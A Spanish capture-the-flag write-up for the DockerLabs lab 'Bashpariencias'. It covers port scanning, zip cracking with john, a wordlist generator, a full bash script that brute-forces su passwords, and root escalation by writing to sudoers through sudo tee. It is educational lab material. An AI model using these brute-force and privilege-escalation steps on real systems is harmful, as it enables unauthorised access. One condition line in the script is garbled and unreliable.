Bashpariencias - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Medio | Firstatack |
Escaneo y Reconocimiento de puertos
Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.
nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.-sV: Detecta la versión del servicio en los puertos abiertos.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Vemos que esta abierto el puerto 8899 SSH y el puerto 80 HTTP
Enumeración Web
Si accedemos a la pagina web vemos lo siguiente
Si investigamos muy a fondo la web vemos que en el apartado Form se esta exponiendo algo interesante.
Parece ser que nos esta dando un nombre vamos a revisar el codigo fuente y filtrar por ese nombre. (Siempre hemos de revisar el codigo fuente de la pagina ya que nos puede mostrar información como en este caso que esta oculta)
Vaya tenemos una posible contraseña para el usuario rosa.
Vamos a conectarnos por ssh que recordemos que esta en el puerto 8899
Si vamos al directorio home vemos diferentes usuarios y un archivo txt, el archivo txt no tenemos permisos para verlo así que vamos al directorio de rosa
En el directorio de Rosa hay lo siguiente:
Un directorio llamado -, vamos acceder
Nos encontramos con un txt y un zip vamos a leer el txt
Perfecto pues si intentamos extraer el zip tiene contraseña asi que vamos a intentar con john hacer fuerza burta a este zip de la siguiente forma.
- Nos descargamos el archivo a nestra maquina atacante con : python3 -m http.server 5000
- Desde nuestra maquina atacante hacemos un wget http://172.21.0.2/archivo
- Ahora vamos a extraer el hash del archivo zip con : zip2john archivo > hash
- Por ultimo vamos a craquear el hash con john --wordlist=/usr/share/wordlists/rockyou.txt hash
Hemos obtenido la contraseña vamos a descomprimir el zip
Ya tenemos la contraseña del usuario juan:hackwhitbash
Ahora vamos a escalar al usuario Juan y si hacemos sudo -l vemos que tenemos los binarios tree y cat que los podemos ejecutar como el usuario carlos.
Vamos a listar el directorio de carlos para ver si encontramos algo
Encontramos un archivo llamado .misecreto.txt vamos hacer uso del binario cat con el usuario carlos para poder acceder a ese archivo.
Lo que tendremos que hacer script que nos genere un diccionario para mas tarde hacer fuerza burta en local.
para el script del diccionario yo se lo he pedido a ChatGPT que me lo haga
```bash
#!/bin/bash
# Definimos la palabra base
palabra_base="chocolate"
# Iteramos sobre cada letra del alfabeto en un orden diferente
for letra1 in {a..z}; do
for letra2 in {a..z}; do
for letra3 in {a..z}; do
# Construimos la palabra utilizando un formato diferente
nueva_palabra="${letra1}${letra2}${letra3}${palabra_base}"
echo $nueva_palabra >> dict2.txt
done
done
done
y el script para hacer fuerza bruta es el siguente que si no recuerdo mal es de el PinguinodeMario
#!/bin/bash
# Función que se ejecutará en caso de que el usuario no proporcione 2 argumentos.
mostrar_ayuda() {
echo -e "\e[1;33mUso: $0 USUARIO DICCIONARIO"
echo -e "\e[1;31mSe deben especificar tanto el nombre de usuario como el archivo de diccionario.\e[0m"
exit 1
}
# Para imprimir un sencillo banner en alguna parte del script.
imprimir_banner() {
echo -e "\e[1;34m" # Cambiar el texto a color azul brillante
echo "******************************"
echo "* BruteForce SU *"
echo "******************************"
echo -e "\e[0m" # Restablecer los colores a los valores predeterminados
}
# Llamamos a esta función desde el trap finalizar SIGINT (En caso de que el usuario presione control + c para salir)
finalizar() {
echo -e "\e[1;31m\nFinalizando el script\e[0m"
exit
}
trap finalizar SIGINT
usuario=$1
diccionario=$2
# Variable especial $# para comprobar el número de parámetros introducido. En caso de no ser 2, se imprimen las instrucciones.
if [[ $# != 2 | $ > != 2 ]]; then
mostrar_ayuda
fi
# Imprimimos el banner al momento de realizar el ataque.
imprimir_banner
# Bucle while que lee línea a línea el contenido de la variable $diccionario, que a su vez esta variable recibe el diccionario como parámetro.
while IFS= read -r password; do
echo "Probando contraseña: $password"
if timeout 0.1 bash -c "echo '$password' | su $usuario -c 'echo Hello'" > /dev/null 2>&1; then
clear
echo -e "\e[1;32mContraseña encontrada para el usuario $usuario: $password\e[0m"
break
fi
done < "$diccionario"
Entonces con estas dos cosas en la maquina victima vamos hacer lo siguiente
Ya tenemos la contraseña de carlos así que vamos a escalar a este usuario
Vemos que carlos puede ejecutar el binario tee como cualquier usuario.
*El comando tee en sistemas Unix y Linux es una herramienta de línea de comandos que se utiliza para leer desde la entrada estándar (stdin) y escribir simultáneamente a la salida estándar (stdout) y a un archivo. Esto significa que puedes usar tee para ver la salida de un comando mientras también guarda esa salida en un archivo.
Como podemos usar tee como root vamos añadir a carlos al archivo sudoers para que podamos escalar a root sin proporcionar contraseña
Ya somos root